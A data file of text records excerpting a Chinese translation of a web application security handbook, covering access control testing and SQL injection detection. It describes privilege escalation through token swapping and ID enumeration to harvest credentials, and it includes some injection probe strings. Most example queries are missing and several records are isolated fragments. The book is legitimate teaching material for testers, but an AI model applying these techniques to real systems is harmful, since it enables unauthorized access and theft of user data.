    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）在以多步骤方式执行某个操作，需要从客户端向服务器提交几个不同的请求时，应单独测试每一个请求，以确定是否已对这些请求应用了访问控制。应确保测试每一个请求，包括表单提交、重定向，以及任何非参数化的请求。 （2）尝试发现应用程序确定你是否到达特定阶段（必须通过合法的途径到达该阶段）的任何位置。尝试使用权限较低的账户到达该阶段，检测是否可以实施任何权限提升攻击。 （3）手动执行这种测试的一种方法，是在浏览器中多次完成受保护的多阶段过程，并使用 代理服务器将在不同请求中提供的会话令牌切换为权限较低的用户的令牌。 （4）通过使用Burp Suite的“浏览器中的请求”（request in browser）功能，可以显著加快这个过程。 （a）使用权限较高的账户遍历整个多阶段过程。 （b）使用权限较低的账户（或根本不使用账户）登录应用程序。 （c）在Burp Proxy的历史记录中，找到权限较高的用户执行多步骤过程时提出的请求序列。对于序列中的每个请求，选择“当前浏览器会话在浏览器中的请求”（request in browser in current browser session）上下文菜单项（如图8-4所示）。将提供的URL粘贴到以权限较低的用户身份登录的浏览器中。 图8-4 使用Burp在当前浏览器会话中请求给定项 （d）如果应用程序允许，则使用浏览器以正常方式完成剩下的多阶段过程。 （e）查看浏览器和代理服务器历史记录中的结果，确定是否可以成功执行特权操作。 当你对指定的请求选择Burp的“当前浏览器会话在浏览器中的请求”功能时，Burp会向你提供一个指定Burp的内部Web服务器的唯一URL，然后，将这个URL粘贴到浏览器的地址栏中。当你在浏览器中请求这个URL时，Burp将返回一个指向最初指定的URL的重定向。浏览器访问该重定向时，Burp将用最初指定的请求替换该请求，同时保持Cookie消息头不变。如果正测试不同的用户账户，可以加快这个过程。以不同用户登录几个不同的浏览器，并将上述URL粘贴到每个浏览器中，看应用程序如何处理使用不同浏览器登录的用户的请求。（需要注意的是，由于同一浏览器通常会在不同窗口之间共享cookie，因此，在执行这个测试时，需要使用不同的浏览器产品，或安装在不同机器上的浏览器。） 提示 以不同的用户账户测试多阶段过程时，检查不同用户逐个提出的请求的序列有助于确定有利于进一步调查的细微差异。 如果使用不同浏览器以不同用户身份访问应用程序，可以在Burp中创建供每个浏览器使用的不同代理监听器（需要在每个浏览器中更新代理服务器配置，以指向相关监听器）。然后，对于每个浏览器，使用代理服务器历史记录中的上下文菜单打开新的历史记录窗口，并将显示过滤器设置为仅显示相关代理监听器提出的请求。 8.2.3 通过有限访问权限进行测试 如果只有一个用户级账户可用于访问应用程序（或根本没有任何账户），这时，要测试访问控制的效率，还需要完成其他工作。实际上，无论在什么情况下，要想执行全面彻底的测试，都需要完成其他工作。在应用程序中，可能存在一些未受到严格保护的功能，而且任何用户界面均未明确提供这些功能的链接。例如，可能有一些旧功能尚未删除，或者新功能已部署但未向用户公布。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用第4章介绍的内容查找技巧确定尽可能多的应用程序功能。通常，以权限较低的用户进行查找就足以枚举并直接访问敏感功能。 （2）如果确定可能向普通和管理用户提供不同功能或链接的应用程序页面（例如，“控制面板”或“我的主页”），尝试在URL查询字符串和POST请求主体中插入admin=true之类的参数，确定这样做是否可发现或访问任何其他你所拥有的用户权限正常无法访问的功能。 （3）测试应用程序是否基于Referer消息头做出访问控制决策。对于获得授权访问的关键应用程序功能，尝试删除或修改Referer消息头并确定是否仍然能够成功提出请求。如果不能，应用程序可能以某种不安全的方式信任Referer消息头。如果使用Burp的主动扫描器扫描请求，Burp会尝试删除每个请求的Referer消息头，并通知你这样做是否会在应用程序的响应中造成对应的相关差异。 （4）检查所有客户端HTML与脚本，查找隐藏功能或可从客户端进行操纵的功能的引用，如基于脚本的用户界面。同时，反编译第5章中介绍的所有浏览器扩展组件，查找任何服务器端功能的引用。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/477/ http://mdsec.net/auth/472/ http://mdsec.net/auth/466/ 一旦枚举出所有可访问的功能，就有必要测试应用程序是否正确划分每名用户访问资源的权 限。如果应用程序允许用户访问一组内容广泛的相同类型的资源（如文档、订单、电子邮件和个人资料），则用户就有机会未授权访问其他资源。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）无论应用程序使用何种标识符（文档ID、账号、订单引用等）指定用户所请求的资源，应尝试找到没有权限访问的资源的标识符。 （2）如果有可能生成一系列紧密相连的标识符（例如，通过创建几个新文档或订单），则可以使用我们在第7章描述的针对会话令牌的技巧，尝试在应用程序生成的标识符中查找任何可预测的序列。 （3）如果无法生成任何新标识符，那么只能通过分析已经发现的标识符，或纯粹使用猜测方法查找标识符。如果标识符为GUID形式，则基于猜测的尝试将无法取得成功。但是，如果标识符是一个相对较小的数字，则可以尝试使用与它相差不大的另一个数字，或数字位相同的另一个随机数字。 （4）如果发现访问控制并不完善，而且资源标识符可以预测，可以发动自动攻击获取应用程序的敏感资源和信息。可以使用在第14章描述的技巧，设计一次定制自动攻击，以获取所需的数据。 如果“账户信息”页面在显示用户个人资料的同时还显示他的用户名和密码，则这种漏洞可能会造成灾难性的后果。虽然输入的密码在屏幕上隐藏显示，但它仍然以明文形式传送至浏览器。因此，通常可以快速遍历账户标识符的所有可能值范围，从而获得所有用户，包括管理员的登录证书。图8-5说明了如何使用Burp Intruder成功执行这种攻击。 图8-5 一次通过访问控制漏洞获取用户名和密码的成功攻击 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/488/ http://mdsec.net/auth/494/ 提示 如果检测到访问控制漏洞，可以立即发动一次攻击，尝试通过攻破一个具有管理权限的用户账户来进一步提升自己的权限。可以通过各种技巧查找管理账户。利用上面介绍的访问控制缺陷，可以获得数百个用户证书，并尝试手动登录每一个账户，直到找到管理员账户。但是，如果账户以连续的数字ID为标识符，则应用程序通常会将最小的数字账户分配给管理员。登录几个最先注册的用户，往往就可以确定应用程序管理员账户。如果这种方法不可行，一种有效的方法是在应用程序中查找其访问权限被水平隔离的功能——例如，向每名用户呈现的主页。编写一段脚本，使用截获的每个证书登录，然后尝试访问自己的主页。很可能管理用户能够查看每一名用户的主页，因此，如果用于登录的是管理账户，你立即就会发觉。 8.2.4 测试“直接访问方法” 如果应用程序使用直接访问服务器端 API 方法的请求，正常情况下，使用上述技巧即可以确定这些方法中的任何访问控制漏洞。但是，还应该进行测试，以确定是否存在其他可能未受到正确保护的 API。 以使用下列请求调用的servlet为例： 由于这是一个众所周知的servlet，攻击者可能能够访问其他servlet以执行未授权操作。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定任何遵循Java命名约定（例如get、set、add、update、is或has后接大写单词）或明确指定包结构（如com.companyname.xxx.yyy.ClassName）的参数。记下所有你能够发现的被引用的方法。 （2）找到某个列举可用接口或方法的方法。在代理服务器历史记录中进行搜索，看应用程序的正常通信是否调用了该方法。如果该方法未被调用，则尝试使用观察到的命名约定猜测该方法。 （3）在公共资源（如搜索引擎和论坛站点）中查找，以确定任何其他可以访问的方法。 （4）使用第4章介绍的技巧猜测其他方法名称。 （5）尝试使用各种用户账户（包括未授权访问）访问收集到的所有方法。 （6）如果不知道某些方法需要的参数的数量或类型，可以寻找那些不大可能使用参数的方法，如listInterfaces和getAllUsersInRoles。 8.2.5 测试对静态资源的控制 如果受应用程序保护的静态资源最终可以通过指向资源文件本身的URL直接访问，这时你应该进行测试，以确定未授权用户是否可以直接请求这些URL。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）遍历访问受保护静态资源的正常过程，获取用于最终访问该资源的URL示例。 （2）使用不同的用户账户（如权限较低的用户或没有购买所需商品的账户），尝试使用已确定的URL直接访问该资源。 （3）如果这种攻击取得成功，尝试了解受保护的静态资源所使用的命名方案。如果可能，设计一个自动攻击，获取可能有用或可能包含敏感数据的内容（请参阅第14章）。 8.2.6 测试对HTTP方法实施的限制 虽然并没有现成的方法可用于检测应用程序的访问控制是否对HTTP方法实施了平台级控制，但是，可以通过一些简单的步骤来确定任何漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用一个权限较高的账户，确定一些执行敏感操作的特权请求，如添加新用户或更改用户的安全角色的请求。 （2）如果这些请求未受到任何反CSRF令牌或类似功能（请参阅第13章）的保护，可以使用权限较高的账户确定，如果HTTP方法被修改，应用程序是否仍然执行请求的操作。应测试的HTTP方法包括： POST； GET； HEAD； 任何无效的HTTP方法。 （3）如果应用程序执行任何使用与最初的方法不同的HTTP方法的请求，则应使用上述标准技巧，通过权限较低的账户对针对这些请求实施的访问控制进行测试。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 8.3 保障访问控制的安全 访问控制是最容易理解的Web应用程序安全领域，但是在执行它们时必须采用合理、全面的方法。"},
    {"text": "出现这些缺陷，通常是由于我们不了解执行有效访问控制应满足的基本要求，或者对用户应提出哪些请求，以及应用程序需要防御哪些威胁存在错误的认识。"},
    {"text": "不要认为用户将按设定的顺序访问应用程序页面。 不要认为因为用户无法访问“编辑用户”页面，他们就不能到达由该页面链接的“编辑用户X”页面。"},
    {"text": "对于特别敏感的功能，例如管理页面，可以通过IP地址进一步限制访问，确保只有特殊网络范围内的用户能够访问这些功能，不管他们是否登录。"},
    {"text": "对于安全性很关键的应用程序功能（如在银行应用程序中创建一个新的汇款收款人）考虑对每笔交易执行重复验证和双重授权，进一步确保该功能不会被未授权方使用。"},
    {"text": "Web应用程序开发者通常逐步执行访问控制功能，在他们发现需要访问控制的每个页面插入代码，并在不同的页面间剪切和粘贴相同的代码以满足类似的需求。"},
    {"text": "图8-6是一个复杂应用程序的一部分权限矩阵。 图8-6 一个复杂应用程序权限矩阵实例 我们可以在这种安全模型中应用各种有益的访问控制概念。"},
    {"text": "如果建立太多琐碎的角色，那么由于不同角色的数目繁多，可能就很难对其进行有效管理。 如果建立太少的角色，这些角色就只能对访问进行粗略管理，个体用户分配到的权限将不足以履行他们的职能。"},
    {"text": "如果使用平台级控制、基于HTTP方法和URL限制对不同应用程序角色的访问，则应将这 些控制设计为使用默认拒绝模式，因为这是防火墙规则的最佳做法。"},
    {"text": "这样，即使一名用户突破在应用程序层面执行的访问控制，企图实施添加新用户之类的敏感操作，他仍然会被阻止，因为他使用的数据库账户并未在数据库内获得必要的权限。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 如果攻击一个采用这种多层权限模型的应用程序，可能这个应用程序能够防御在应用访问控制过程中常犯的许多明显错误。由于在其他层面实施的保护措施，避开应用程序的访问控制可能无法取得很大成效，但仍然可以使用其他可能的攻击手段。更重要的是，了解每种控制在它所能提供的保护方面存在的限制，将有助于确定最可能影响到它的漏洞。 应用程序层面的编程检查易于受到注入类攻击。 在应用程序服务器层面定义的角色，其定义既不全面，也不完整。 即使使用低权限操作系统账户运行应用程序组件，这些账户通常仍然能够阅读主机文件系统中保存的各种敏感数据。任何准许他人访问任意文件的漏洞（即使仅仅读取敏感数据）都可被攻击者加以有效利用。 应用程序服务器软件本身存在的漏洞往往有助于突破应用程序层面执行的任何访问控制，但是仍然只能有限地访问数据库和操作系统。 在适当位置的一个可供利用的访问控制漏洞可成为发动重大权限提升攻击的起点。例如，如果能够修改与账户有关的角色，那么再次使用账户登录将能够提升在应用程序和数据库层面的访问权限。 黑客攻防技术宝典：Web实战篇（第2版） 8.4 小结 访问控制缺陷可能以各种形式表现出来。有些时候，它们可能并没有利用价值，允许访问不能进一步提升权限的“无害”功能。其他情况下，利用在访问控制中发现的一个漏洞攻击者可立即攻破整个应用程序。 造成访问控制缺陷的来源各异：设计糟糕的应用程序很难或无法检测出未授权访问，一个简单的疏忽可能会使一两项功能未受到保护，或者对用户行为的错误假设也可能会给应用程序造成防御漏洞。 许多时候，突破访问控制非常容易，只需请求一个常用的管理URL就可以直接访问相关功能。但是，有时突破访问控制也可能非常困难，一些细微的缺陷可能在应用程序之中隐藏得较深，特别是在复杂、高度安全的应用程序中。“四处查看”是攻击访问控制的最有效方法。如果想努力取得进展，渗透测试员应该耐心测试应用程序的每一项功能，也许不久就可以发现一个能攻破整个应用程序的缺陷。 黑客攻防技术宝典：Web实战篇（第2版） 8.5 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）一个应用程序可能通过使用HTTP Referer消息头实施访问控制，但它的正常行为并没有公开表露这一点。如何检测出这种缺陷？ （2）登录一个应用程序后，被重定向到以下URL： https://wahh-app.com/MyAccount.php?uid=1241126841 应用程序似乎向MyAccount.php页面提交一个用户标识符。已知的唯一标识符是自己的标识符。如何测试应用程序是否使用这个参数以不安全的方式实施访问控制？ （3）因特网上的一个Web应用程序通过检查用户的来源IP地址实施访问控制。为什么这种行为可能存在缺陷？ （4）某应用程序的唯一目的是为公众提供可搜索的信息仓库。该应用程序并未使用任何验证或会话管理机制。该应用程序应执行何种访问控制？ （5）在浏览一个应用程序的过程中遇到几个应防止未授权访问的敏感资源，它们的文件扩展名为.xls。这种情况为何应立即引起注意？ 黑客攻防技术宝典：Web实战篇（第2版） 第9章 攻击数据存储区 几 乎所有应用程序都依赖数据存储区来管理在应用程序中处理的数据。在许多情况下，这些数据负责处理核心应用程序逻辑、保存用户账户、权限、应用程序配置设置等。现在，数据存储区已不再只是被动的数据容器。大多数数据存储区都保存有结构化、可以使用预先定义的查询格式或语言访问的数据，并包含内部逻辑来管理这些数据。 通常，应用程序使用常用的权限级别来管理对数据存储区的各种访问操作，以及处理属于不同应用程序用户的数据。如果攻击者能够破坏应用程序与数据存储区的交互，使应用程序检索或修改各种数据，那么，攻击者就可以避开在应用层次对数据访问实施的任何控制。 上述原则适用于任何类型的数据存储技术。因为本书是一本实用手册，我们将主要讨论利用现实世界的应用程序中存在的漏洞时所需的知识和技巧。迄今为止最常用的数据存储区是SQL数据库、基于XML的资料库、LDAP目录，以及一些常见的示例。 在讨论这些主要示例时，我们将介绍你在确定并利用这些缺陷时可以采取的实用步骤。每一种新型注入攻击都需要结合概念加以理解。掌握利用这些缺陷的基础知识后，如果再遇到一种新型注入攻击，你就能够自信地应用这些知识，设计出其他攻击方法，向其他人已经研究过的漏洞发动攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 9.1 注入解释型语言 解释型语言（interpreted language）是一种在运行时由一个运行时组件（runtime component）解释语言代码并执行其中包含的指令的语言。与之相对，编译型语言（compiled language）是这样一种语言：它的代码在生成时转换成机器指令，然后在运行时直接由使用该语言的计算机处理器执行这些指令。 从理论上说，任何语言都可使用编译器或解释器来执行，这种区别并不是语言本身的内在特性。但是，通常大多数语言仅通过上述其中一种方式执行，开发Web应用程序使用的许多核心语言使用解释器执行，包括SQL、LDAP、Perl和PHP。 基于解释型语言的执行方式，产生了一系列叫做代码注入（code injection）的漏洞。任何有实际用途的应用程序都会收到用户提交的数据，对其进行处理并执行相应的操作。因此，由解释器处理的数据实际上是由程序员编写的代码和用户提交的数据共同组成的。有些时候，攻击者可 以提交专门设计的输入，通常提交某个在应用程序中使用解释型语言语法的具有特殊意义的句法，向应用程序实施攻击。结果，这个输入的一部分被解释成程序指令执行，好像它们是由最初的程序员编写的代码一样。因此，如果这种攻击取得成功，它将完全攻破目标应用程序的组件。 另一方面，在编译型语言中实施旨在执行任意命令的攻击往往非常困难。这时，注入代码的方法通常并不利用开发目标程序所使用语言的任何语法特性，注入的有效载荷为机器代码，而不是用那种语言编写的指令。请参阅第16章了解各种针对编译软件的常见攻击。 避开登录 无论访问操作是由普通用户还是应用程序管理员触发，应用程序访问数据存储区的过程都大致相同。Web应用程序对数据存储区实施自主访问控制，构造查询基于用户的账户和类型来检索、添加或修改数据存储区中的数据。修改查询（不只是查询中的数据）的成功注入攻击可以避开应用程序的自主访问控制并获取未授权访问。 如果需要安全保护的应用程序逻辑由查询结果控制，攻击者就可以通过修改查询来更改应用程序的逻辑。举一个典型的例子——在后端数据存储区的用户表中查询与用户提供的证书匹配的记录。许多实施基于表单的登录功能的应用程序使用数据库来存储用户证书，并执行简单的SQL查询来确认每次登录尝试。以下是一个典型的示例： 这个查询要求数据库检查用户表中的每一行，提取出每条username列值为marcus、password列值为secret的记录。如果应用程序收到一名用户的资料，登录尝试将取得成功，应用程序将为该用户建立一个通过验证的会话。 在这种情况下，攻击者可注入用户名或密码字段，以修改应用程序执行的查询，从而破坏它的逻辑。例如，如果攻击者知道应用程序管理员的用户名为admin，那么他就可以通过提交以下用户名和任意密码，以管理员身份登录： 应用程序将执行以下查询： 因为其中使用了注释符号（--），上面的查询等同于： 于是这个查询完全避开了密码检查。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/319/ 假如攻击者不知道管理员的用户名，该如何实施攻击呢？在大多数应用程序中，数据库的第一个账户为管理用户，因为这个账户通常手工创建，然后再通过它生成其他应用程序账户。而且， 如果查询返回几名用户的资料，许多应用程序只会处理第一名用户。因此，攻击者可利用这种行为，通过提交以下用户名，以数据库中的第一个用户的身份登录： 应用程序将执行以下查询： 因为其中使用了注释符号，上面的查询等同于： 该查询将返回全部应用程序用户的资料。 注解 注入解释型语言来更改应用程序逻辑是一种常用的攻击技巧。LDAP查询、XPath查询、消息序列实施或任何定制的查询语言中都可能出现对应的漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 解释型语言注入是一个非常宽泛的主题，涵盖许多不同种类的漏洞，并可能影响Web应用程序支持基础架构中的每一个组件。检测并利用代码注入缺陷的详细步骤取决于攻击所针对的是何种语言，以及应用程序开发者使用了什么编程技巧。但也有一些适用于各种情形的常规方法，如下所示。 （1）提交可能在解释型语言中引发问题的无效语法。 （2）确定应用程序响应中可能表示存在代码注入漏洞的任何反常现象。 （3）如果收到任何错误消息，分析这些消息，获得与服务器上发生的问题有关的证据。 （4）如有必要，系统性地修改初始输入，尝试确定或否定最初假设的漏洞诊断。 （5）构造一个概念验证测试（proof-of-concept test），使安全命令以可证实的方式执行，得出结论以证明应用程序中存在一个可被利用的代码注入漏洞。 （6）利用目标语言和组件的功能实现攻击目标，对漏洞加以利用。"},
    {"text": "数据库中的信息通过SQL（Structured Query Language，结构化查询语言）访问。 SQL可用于读取、更新、增加或删除数据库中保存的信息。 SQL是一种解释型语言，Web应用程序经常建立合并用户提交的数据的SQL语句。"},
    {"text": "虽然对绝大多数数据库而言，SQL注入的基本原理大体相似，但它们之间也存在着许多差异，包括语法上的细微变化以及可能影响攻击者所使用的攻击类型的巨大行为与功能差异。"},
    {"text": "当一名用户搜索由Wiley出版的所有书籍时，应用程序执行以下查询： 该查询要求数据库检查书籍表的第一行，提取每条publisher列为Wiley值的记录，并返回所有这些记录。"},
    {"text": "然后遇到表达式Reilly'，这并不是有效的SQL语法，因此应用程序生成一条错误消息： 如果应用程序以这种方式运行，那么它非常容易遭到SQL注入。"},
    {"text": "由于SELECT是最常用的动词，因此绝大多数的SQL注入漏洞出现在这种语句中。 的确，当讨论SQL注入时，因为所举的示例全部属于这种类型，所以我们常常会产生这样的印象，即SQL注入漏洞只出现在SELECT语句中。"},
    {"text": "如在前面的示例中说明的，SQL注入攻击的进入点（entry point）通常是查询中的WHERE子句，它将用户提交的数据传送给数据库，以控制查询结果的范围。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/addressbook/32/ 2．INSERT语句 INSERT语句用于在表中建立一个新的数据行。应用程序通常使用这种语句添加一条新的审 计日志、创建一个新用户账户或生成一个新订单。 例如，如果一个应用程序允许用户自我注册，指定他们自己的用户名和密码，就可以使用下面的语句将用户资料插入users表中。 如果username或password字段存在SQL注入漏洞，那么攻击者就可以在表中插入任何数据，包括他自己的ID和privs值。然而，要想这样做，攻击者就必须确保VALUES子句的其他部分正常运行。特别是其中数据项的个数与类型必须正确。例如，当注入username字段时，攻击者可以提交以下输入： 它将建立一个ID为9999，privs为0的账户。假如privs字段用来决定账户权限，那么攻击者就可以利用它创建一个管理用户。 有时，攻击者完全盲目地注入一个INSERT语句也能够从应用程序中提取出字符串数据。例如，攻击者可以拦截数据库的版本字符串，并把它插入自己用户资料的一个字段中；正常情况下，浏览器将显示数据库的版本信息。 提示 当设法注入一个INSERT语句时，可能无法提前知道需要提交多少个参数或参数的类型。在前面的示例中，可以通过在VALUES子句中持续增加一个新的字段，直到应用程序创建了确实想要的用户账户，从而解决上述问题。例如，当注入username字段时，可以提交以下输入： 由于大多数数据库都会隐式地将一个整数转换为一个字符串，可以在每个位置都使用一个整数。在这个示例中，不管其他字段如何，它将生成一个用户名为foo、密码为1的账户。 如果发现使用值1仍然遭到拒绝，可以尝试使用值2000，许多数据库也会隐式地将它转换成基于数据的数据类型。 确定注入点之后的正确字段数后，在MS-SQL中，测试员可以任意添加另外一个查询，并采用本章后面部分将介绍的基于推断的技巧。 在Oracle中，则可以在insert查询内发布subselect查询。使用本章后面部分将介绍的基于推断的技巧，该subselect查询可能导致主查询成功或失败。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/addressbook/12/ 3．UPDATE语句 UPDATE语句用于修改表中的一行或几行数据。它们经常用在用户修改已有数据值的功能中，例如，更新联系信息、修改密码或更改订单数量。 典型UPDATE语句的运行机制与INSERT语句类似，只是UPDATE语句中通常包含一个WHERE子句，告诉数据库更新表中哪些行的数据。例如，当用户修改密码时，应用程序可能会执行以下查询： 实际上，这个查询首先核实用户的现有密码是否正确，如果密码无误，就用新的值更新它。如果这项功能存在SQL注入漏洞，那么攻击者就能避开现有密码检查，通过输入以下用户名更新管理员的密码： 注解 由于无法提前知道应用程序将根据专门设计的输入执行什么操作，因此，在一个远程应用程序中探查SQL注入漏洞往往非常危险。特别注意，修改UPDATE语句中的WHERE子句可能会使一个重要的数据库表发生彻底的改变。例如，如果上面的攻击者之前已经提交了以下用户名： 那么应用程序可能会执行以下查询： 它会重新设置每一名用户的密码！ 即使所攻击的应用程序功能（如主登录功能）并不会更新任何现有数据，渗透测试员也应当留意这种风险。有时候，在用户成功登录后，应用程序会使用用户提交的用户名执行各种UPDATE查询，这意味着任何针对WHERE子句的攻击可能会“复制”到其他语句中，给所有应用程序用户的资料造成严重破坏。在尝试探查或利用任何SQL注入漏洞之前，必须确保应用程序所有者接受这些无法避免的风险；同时，应该强烈建议他们在开始测试前对数据库进行完整备份。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/addressbook/27/ 4．DELETE语句 DELETE语句用于删除表中的一行或几行数据，例如用户从他们的购物篮中删除一件商品或从个人资料中删除一个交货地址。 与UPDATE语句一样，DELETE语句通常使用WHERE子句告诉数据库更新表中哪些行的数据，并很可能在这个子句中并入用户提交的数据。破坏正常运行的WHERE子句可能会造成严重的后果，我们在UPDATE 语句部分提出的警告同样适用于这种攻击。 9.2.3 查明SQL注入漏洞 在最明显的情形中，只需向应用程序提交一个意外输入，就可以发现并最终确定一个SQL注入漏洞。在其他情况下，这种缺陷可能非常微妙，很难与其他类型的漏洞或不会造成安全威胁的“良性”异常区分开来。但是，可以按顺序采取各种步骤准确查明绝大多数的SQL注入漏洞。 注解 在应用程序解析过程中（请参阅第4章），应该已经确定了应用程序访问后端数据库的各种情形；现在，应当在所有这些情形中探查SQL注入漏洞。实际上，提交给服务器的任何数据都能够以用户无法察觉的方式传送给数据库函数，并且可能得到不安全的处理。因此，需要检查所有这些数据，以查找SQL注入漏洞。这包括所有URL参数、cookie、POST数据项以及HTTP消息头。无论哪一种情况，相关参数名称与参数值的处理过程都可能存在漏洞。 提示 在探查SQL注入漏洞时，一定要确保完全遍历任何可以提交专门设计的输入的多阶段过程。应用程序通常会从几个请求中收集一组数据，一旦收集到全部的数据，就将其保存在数据库中。这时，如果仅在每个请求中提交专门设计的数据并监控应用程序对那个请求的响应，就会遗漏许多SQL注入漏洞。 1．注入字符串数据 如果SQL查询合并用户提交的数据，它会将这些数据包含在单引号中。为利用任何SQL注入漏洞，攻击者需要摆脱这些引号的束缚。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）提交一个单引号作为目标查询的数据。观察是否会造成错误，或结果是否与原始结果不同。如果收到详细的错误消息，可查阅9.2.13节了解该消息的含义。 （2）如果发现错误或其他异常行为，同时提交两个单引号，看会出现什么情况。数据库使用两个单引号作为转义序列，表示一个原义单引号（literal single quote），因此这个序列被解释成引用字符串中的数据，而不是结束字符串的终止符。如果这个输入导致错误或异常行为消失，则应用程序可能易于受SQL注入攻击。 （3）为进一步核实漏洞是否存在，可以使用SQL连接符建立一个等同于“良性”输入的字符串。如果应用程序以与处理对应“良性”输入相同的方式处理专门设计的输入，那么它很可能易于受到攻击。每种数据库使用的字符连接方法各不相同。在易受攻击的应用程序中，可以注入以下实例构建等同于FOO的输入： Oracle ‘||’FOO MS-SQL：‘+’FOO MySQL：‘ ’FOO [注意两个引号之间有一个空格] 提示 可以通过在特定的参数中提交SQL通配符%来确定应用程序是否正与后端数据库交互。例如，在搜索字段中提交这个通配符通常会返回大量结果，表明输入正被传送到SQL查询中。当然，这不一定表示应用程序易受攻击——只是应该深入探查以确定是否存在任何具体的漏洞。 提示 使用单引号查找SQL注入漏洞时，应特别注意浏览器处理返回的页面时发生的任何JavaScript错误。应用程序经常在JavaScript中返回用户提交的输入，原义单引号将导致JavaScript解释器中出现错误。如第12章所述，在响应中注入任意JavaScript将导致跨站点脚本攻击。 2．注入数字数据 如果SQL查询合并用户提交的数字数据，应用程序仍然会将它包含在单引号之中，作为字符串数据进行处理。因此，一定要执行前面描述的针对字符串数据的渗透测试步骤。但是，许多时候，应用程序会将数字数据以数字格式直接传送到数据库中，并不把它放入单引号中。如果前面描述的测试方法无法检测到漏洞，还可以采取以下针对数字数据的特殊测试步骤。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）尝试输入一个结果等于原始数字值的简单数学表达式。例如，如果原始值为2，尝试提交1+1或3–1。如果应用程序做出相同的响应，则表示它易于受到攻击。 （2）如果证实被修改的数据会对应用程序的行为造成明显影响，则前面描述的测试方法最为可靠。例如，如果应用程序使用数字化PageID参数指定应返回什么内容，则用1+1代替2得到相同的结果明显表示存在SQL注入。但是，如果能够在数字化参数中插入任意输入，但应用程序的行为却没有发生改变，那么前面的检测方法就无法发现漏洞。 （3）如果第一个测试方法取得成功，你可以利用更加复杂的、使用特殊SQL关键字和语法的表达式进一步获得与漏洞有关的证据。ASCII命令就是一个典型的示例，它返回被提交字符的数字化ASCII代码。例如，因为A的ASCII值为65，在SQL中，以下表达式等于2。 （4）如果单引号被过滤掉，那么前面的测试方法就没有作用。但是，这时可以利用这样一个事实：即在必要时，数据库会隐含地将数字数据转化为字符串数据。例如，因为字符1的 ASCII值为49，在SQL中，以下表达式等于2。 提示 在探查应用程序是否存在SQL注入之类的缺陷时，我们常常会犯一个错误，即忘记某些字符在HTTP请求中具有特殊含义。如果你希望在攻击有效载荷中插入这些字符，必须谨慎地对它们进行URL编码，确保应用程序按预料的方式解释它们，特别是以下字符。 &和=用于连接名/值对，建立查询字符串和POST数据块。应当分别使用%26与%3d对它们进行编码。 查询字符串中不允许使用空格，如果在其中提交空格，整个字符串会立即终止。必须使用+或%20对其编码。 由于+用于编码空格，如果想在字符串中使用+，必须使用%2b对其编码。因此，在前面的数字化示例中，1+1应以1%2b1的形式提交。 分号用于分隔cookie字段，必须使用%3b对其编码。 无论是通过拦截代理服务器直接从浏览器中编辑参数值，或是使用其他方法进行编辑，都必须使用这些编码方法。如果没有对相关字符进行编码，那么整个请求可能会无效，或提交预期之外的数据。 一般来说，前面描述的步骤足以确定绝大多数的SQL注入漏洞，包括许多向浏览器返回无用结果或错误信息的漏洞。但是，在某些情况下，可能有必要使用更加高级的技巧，如时间延迟，来确定漏洞是否存在。我们将在本章后面部分描述这些技巧。 3．注入查询结构 如果用户提交的数据被插入SQL查询结构，而不是查询中的数据项中，这时实施SQL注入攻击只需要直接应用有效的SQL语法，而不需要进行任何“转义”。 SQL查询结构中最常见的注入点是ORDER BY子句。ORDER BY关键字接受某个列名称或编号，并根据该列中的值对结果集进行排序。用户经常使用这种功能对浏览器中的表进行排序。 例如，使用以下查询可以检索一个可排序的图书表： 如果ORDER BY中的列名称title由用户指定，就没有必要使用单引号，因为用户提交的数据已经直接修改了SQL查询的结构。 提示 在极少数情况下，用户提交的输入可能会指定WHERE子句中的列名称。由于这些输入也没有包含在单引号中，因此会导致与前面介绍的漏洞类似的问题。笔者也曾遇到一些以用户提交的参数作为表名称的应用程序。最终，有大量应用程序允许用户指定排序关键字（ASC或DESC），可能认为这并不会导致SQL注入攻击。 在列名称中查找SQL注入漏洞可能会相当困难。如果提交一个并非有效列名称的值，查询将导致错误。这意味着，无论攻击者提交路径遍历字符串、单引号、双引号或任何其他任意字符串， 应用程序都会返回相同的响应。因此，采用常用的自动模糊测试和手动测试技巧往往会遗漏某些漏洞。如果提交用于探查各种漏洞的标准测试字符串全部导致相同的响应，这本身并不表示出现任何错误。 注解 本章后面部分介绍的一些传统的SQL注入防御措施并不能防范用户提交的列名称。使用预处理的语句或转义单引号也不能阻止这类SQL注入。因此，现代应用程序应尤其小心这类攻击。"},
    {"text": "在这种情况下，你可以通过使用以下字符串，检查是否可以颠倒结果的顺序，从而确认是否可以注入其他SQL： 如果提交数字1生成一组结果，其中一个列的每一行都包含一个1，则说明输入可能被插入到查询返回的列的名称中。"},
    {"text": "通常，实施注入攻击需要攻击者指定一个嵌套查询来替代参数，如用（select 1 where <<condition>> or 1/0=0）替代列名称，并利用本章后面部分介绍的推断技巧。"},
    {"text": "9.2.4 “指纹”识别数据库 迄今为止，我们所描述的大多数技巧能够向常用的数据库平台发动有效攻击，任何差别都已通过对语法进行细微调整得到解决。"},
